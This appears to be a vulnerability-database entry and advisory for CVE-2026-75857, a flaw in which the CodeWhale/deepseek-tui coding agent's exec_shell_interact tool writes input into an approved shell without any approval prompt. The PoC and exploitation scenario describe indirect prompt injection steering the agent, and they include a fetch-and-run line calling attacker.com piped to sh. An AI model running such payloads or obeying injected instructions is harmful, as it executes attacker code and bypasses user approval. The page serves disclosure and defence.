CodeWhale's AI coding agent ships two shell tools: `exec_shell`, which correctly prompts for user approval, and its sibling `exec_shell_interact`, which is hardcoded to auto-approve — so once a user approves opening one interactive process (a Python REPL, `mysql`, `ssh`, `sudo -i`), the model can silently pipe further commands into it for the rest of the session. Any untrusted content the agent later ingests — a fetched web page, an MCP tool result, a repo `AGENTS.md` file — can inject instructions that drive that tool call, turning a single approval into standing command execution at whatever privilege the open process holds. The CVSS 7.0 score (AC:H, UI:R) reflects that exploitation needs a prior user approval as a precondition, and current exploitation signals are quiet: EPSS is 0.12%, there is no public PoC, no Nuclei template, and it is not in CISA KEV — but the flaw is structural (a missing `approval_requirement()` override on a registered tool) rather than a one-off bug, and it generalizes to any privileged process a developer opens through the agent. Teams running CodeWhale or its `deepseek-tui` derivative with shell tools enabled should upgrade to 0.8.64 (deepseek-tui: 0.8.41) immediately and treat any agent session that opened a privileged interactive shell (root, prod DB, remote host) before patching as a potential command-execution exposure worth reviewing in shell/session logs.
What is the risk?
High severity (CVSS 7.0) but currently low observed exploitation likelihood: EPSS is 0.00121 (0.12%), no public exploit or scanner template exists, and the CVE is not in CISA KEV. Real-world risk is gated by a precondition — the attacker needs the victim to have already approved an interactive shell tool call in the same agent session — which limits blast radius to organizations actively using CodeWhale/deepseek-tui as an agentic coding tool with shell access enabled. However, the underlying flaw is a missing approval-gate on a registered tool (and its alias `exec_interact`), which is a systemic pattern risk: any tool designer who forgets to override the `Required`-by-default `approval_requirement()` for an `ExecutesCode` capability reproduces this class of bug. Zero downstream dependents and a 0/100 package risk score suggest limited current adoption, but the CWE-269 (Improper Privilege Management) root cause and the fact that reach scales with whatever process was approved (root shells, prod databases, remote hosts) make this a meaningful finding for any team already running these tools in privileged environments.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| DeepSeek TUI | npm | >= 0.8.41, < 0.8.64 | 0.8.64 |
| DeepSeek TUI | cargo | >= 0.8.41, < 0.8.64 | 0.8.64 |
| DeepSeek TUI | npm | >= 0.3.10, < 0.8.41 | 0.8.41 |
| DeepSeek TUI | cargo | >= 0.3.10, <= 0.8.41 | No patch |
How severe is it?
What is the attack surface?
What should I do?
1 step-
Upgrade codewhale/codewhale-tui to >= 0.8.64 and deepseek-tui to >= 0.8.41 (npm); note the cargo build of deepseek-tui has no patched version listed, so pin/replace or restrict shell tool usage there. Until patched, avoid enabling shell tools in agent sessions that will also ingest untrusted content (web browsing, MCP servers pulling external data, repo files from untrusted sources), or restrict
exec_shell/exec_shell_interactto sandboxed, non-privileged processes only — never opensudo -i, root DB shells, or SSH to production through the agent. Detection: audit shell/session logs forexec_shell_interact(and aliasexec_interact) calls that follow ingestion of external content, and flag any interactive session opened with elevated privileges (root, prod credentials) that received unexpected input mid-session. Post-patch, verify the fix by confirmingexec_shell_interactnow surfaces an approval prompt in the TUI before writing to stdin.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-75857?
CodeWhale's AI coding agent ships two shell tools: `exec_shell`, which correctly prompts for user approval, and its sibling `exec_shell_interact`, which is hardcoded to auto-approve — so once a user approves opening one interactive process (a Python REPL, `mysql`, `ssh`, `sudo -i`), the model can silently pipe further commands into it for the rest of the session. Any untrusted content the agent later ingests — a fetched web page, an MCP tool result, a repo `AGENTS.md` file — can inject instructions that drive that tool call, turning a single approval into standing command execution at whatever privilege the open process holds. The CVSS 7.0 score (AC:H, UI:R) reflects that exploitation needs a prior user approval as a precondition, and current exploitation signals are quiet: EPSS is 0.12%, there is no public PoC, no Nuclei template, and it is not in CISA KEV — but the flaw is structural (a missing `approval_requirement()` override on a registered tool) rather than a one-off bug, and it generalizes to any privileged process a developer opens through the agent. Teams running CodeWhale or its `deepseek-tui` derivative with shell tools enabled should upgrade to 0.8.64 (deepseek-tui: 0.8.41) immediately and treat any agent session that opened a privileged interactive shell (root, prod DB, remote host) before patching as a potential command-execution exposure worth reviewing in shell/session logs.
Is CVE-2026-75857 actively exploited?
No confirmed active exploitation of CVE-2026-75857 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-75857?
Upgrade codewhale/codewhale-tui to >= 0.8.64 and deepseek-tui to >= 0.8.41 (npm); note the cargo build of deepseek-tui has no patched version listed, so pin/replace or restrict shell tool usage there. Until patched, avoid enabling shell tools in agent sessions that will also ingest untrusted content (web browsing, MCP servers pulling external data, repo files from untrusted sources), or restrict `exec_shell`/`exec_shell_interact` to sandboxed, non-privileged processes only — never open `sudo -i`, root DB shells, or SSH to production through the agent. Detection: audit shell/session logs for `exec_shell_interact` (and alias `exec_interact`) calls that follow ingestion of external content, and flag any interactive session opened with elevated privileges (root, prod credentials) that received unexpected input mid-session. Post-patch, verify the fix by confirming `exec_shell_interact` now surfaces an approval prompt in the TUI before writing to stdin.
What systems are affected by CVE-2026-75857?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI coding assistants / dev tooling.
What is the CVSS score for CVE-2026-75857?
CVE-2026-75857 has a CVSS v3.1 base score of 7.0 (HIGH). The EPSS exploitation probability is 0.12%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0050 Command and Scripting Interpreter AML.T0051.001 Indirect AML.T0053 AI Agent Tool Invocation Compliance Controls Affected
What are the technical details?
Original Advisory
### Maintainer resolution The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 57f3c89471e27ac4032d9791f6885e5d4408c381. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below. ### Summary `exec_shell` is correctly approval-gated. Its sibling `exec_shell_interact` returns `ApprovalRequirement::Auto`, so when the model writes input into a shell the user already approved (a `python3 -i` REPL, `mysql`, `ssh`, `sudo -i`, etc.), no prompt fires. Inside those processes, "stdin" is the command surface, so the model gets to run commands at whatever privilege that process holds. The user approved opening the shell once, for a stated purpose; the input that then runs in it is chosen by the model, and can be steered by any prompt injection the agent ingests afterward. ### Details The vulnerability requires two ordinary preconditions: shell tools are enabled (the normal config for using CodeWhale as a coding agent), and the session already has one approved long-running interactive process. After that, any untrusted content the agent reads can drive a `exec_shell_interact` call. `crates/tui/src/tools/shell.rs:2834-2910`: ```rust fn capabilities(&self) -> Vec<ToolCapability> { vec![ToolCapability::ExecutesCode] } fn approval_requirement(&self) -> ApprovalRequirement { ApprovalRequirement::Auto // overrides the Required-for-ExecutesCode default } async fn execute(&self, input: Value, context: &ToolContext) -> Result<ToolResult, ToolError> { let task_id = required_task_id(&input)?; let close_stdin = optional_bool(&input, "close_stdin", false); let interaction_input = input .get("input").or_else(|| input.get("stdin")).or_else(|| input.get("data")) // LLM-controlled .and_then(serde_json::Value::as_str).unwrap_or(""); { let mut manager = context.shell_manager.lock()...; if !interaction_input.is_empty() || close_stdin { manager.write_stdin(task_id, interaction_input, close_stdin)...; // no prompt } } ... } ``` Same gate as the `rlm_eval` finding: the `Auto` at `approval_requirement()` makes `approval_required` false at `engine.rs:845`, so the `--approval-policy` is never consulted for the stdin write. The trait default at `spec.rs:632` would have been `Required`. The tool is registered unconditionally (`registry.rs:527`), and an alias `exec_interact` on the same struct is registered at `registry.rs:530`, so a fix must cover both names (it does, since they share `ShellInteractTool`). ### PoC 1. User asks the agent to open a REPL; the model calls `exec_shell command="python3 -i"`; the user sees and approves it once. 2. Later in the session, untrusted content (a fetched page, an MCP result, a repo `AGENTS.md`) instructs the model to send a payload to the open REPL. 3. The model calls `exec_shell_interact task_id=<repl> input="import os; os.system('...')\n"`. No prompt fires; Python runs it. Driving the interactive TUI through a pty and scanning the output for an approval dialog shows the only `Approval needed:` lines are for the initial `exec_shell`; `exec_shell_interact` never produces one, while a sentinel file proves the injected input ran. When the approved process is privileged, the reach scales with it: `mysql -u root` becomes arbitrary SQL, `ssh host` becomes commands on the remote host, `sudo -i` becomes root — none re-prompted. ### Impact Code or command execution inside an already-approved process, at that process's privilege level, with no prompt for the escalating input. Lower severity than the `rlm_eval` finding because it needs a prior user approval of an interactive shell, but higher reach when that shell is privileged. ### Credit [sai-sh](https://github.com/sai-sh)
Exploitation Scenario
A developer uses CodeWhale as a coding agent and asks it to debug a script; the agent proposes opening a Python REPL via `exec_shell command="python3 -i"`, and the developer approves it once, expecting to interactively inspect variables. Later in the same session, the developer asks the agent to review a third-party library's README or the agent fetches content from an MCP-connected issue tracker; that content contains hidden instructions (indirect prompt injection) telling the model to run `import os; os.system(...)`. The model complies by calling `exec_shell_interact task_id=<repl> input="import os; os.system('curl attacker.com/x | sh')\n"` — because this tool auto-approves, no prompt appears, and the payload executes silently inside the already-approved REPL at the developer's privilege level, potentially escalating further if that REPL or an adjacent approved process (a root `sudo -i` shell, a `mysql -u root` session, or an `ssh` connection) is active.
Weaknesses (CWE)
CWE-269 — Improper Privilege Management: The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
- [Architecture and Design, Operation] Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- [Architecture and Design] Follow the principle of least privilege when assigning access rights to entities in a software system.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H References
- github.com/Hmbown/CodeWhale/commit/57f3c89471e27ac4032d9791f6885e5d4408c381
- github.com/Hmbown/CodeWhale/security/advisories/GHSA-g29h-pfmp-qp9r
- github.com/advisories/GHSA-g29h-pfmp-qp9r
- nvd.nist.gov/vuln/detail/CVE-2026-75857
- vulncheck.com/advisories/codewhale-before-privilege-escalation-via-exec-shell-interact
Timeline
Related Vulnerabilities
CVE-2026-45311 9.6 deepseek-tui: prompt injection enables zero-approval RCE
Same package: deepseek-tui CVE-2026-75913 9.3 Analysis pending
Same package: deepseek-tui CVE-2026-75856 8.6 deepseek-tui: SSRF via DNS-pinning TOCTOU bypass
Same package: deepseek-tui CVE-2026-75858 7.8 Analysis pending
Same package: deepseek-tui CVE-2026-75911 7.8 Analysis pending
Same package: deepseek-tui